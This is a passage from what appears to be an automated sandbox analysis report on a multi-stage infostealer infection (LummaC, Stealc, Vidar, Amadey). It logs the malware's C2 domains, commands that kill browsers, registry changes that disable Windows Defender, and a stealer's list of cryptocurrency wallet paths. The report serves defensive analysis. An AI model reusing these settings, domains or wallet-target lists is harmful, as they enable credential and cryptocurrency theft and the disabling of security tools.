Consent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures":["msNurturingCIPasswordZeroStateV2"],"parameters":

LummaC encrypted strings found

Source: 7250ce8e20.exe	String found in binary or memory: p3ar11fter.sbs
Source: 7250ce8e20.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: 7250ce8e20.exe	String found in binary or memory: peepburry828.sbs
Source: 7250ce8e20.exe	String found in binary or memory: p10tgrace.sbs
Source: 7250ce8e20.exe	String found in binary or memory: processhol.sbs

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCAAFBFB.exe "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe "C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe "C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe "C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe "C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: dd2bc11318.exe, 0000001F.00000000.3264261482.0000000000272000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe	Binary or memory string: OProgram Manager
Source: file.exe, 00000000.00000002.2777597649.0000000000DE2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98B341 cpuid

0_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007278001\94b5e22601.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007278001\94b5e22601.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9535A0

Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 7250ce8e20.exe, 0000001B.00000003.3357172433.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3432474138.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3460452943.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3518160061.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3519769803.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3523351689.00000000012A3000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3523509709.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3521736628.000000000129F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3548532421.0000000001297000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 35.2.skotes.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.DocumentsHDGCAAFBFB.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.3320256714.0000000005400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2856885198.0000000005540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2837234813.0000000000861000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2796420874.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3362850184.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: dd2bc11318.exe PID: 5872, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: 0000001B.00000003.3166330332.00000000054F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3166157698.00000000054EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3221237929.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 8376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2232954421.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3475058567.0000000000E91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3225425875.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2777086892.0000000000A11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.3382871470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3473282666.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3278591825.0000000000E91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 35e66d06ff.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 35e66d06ff.exe PID: 5388, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5340, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
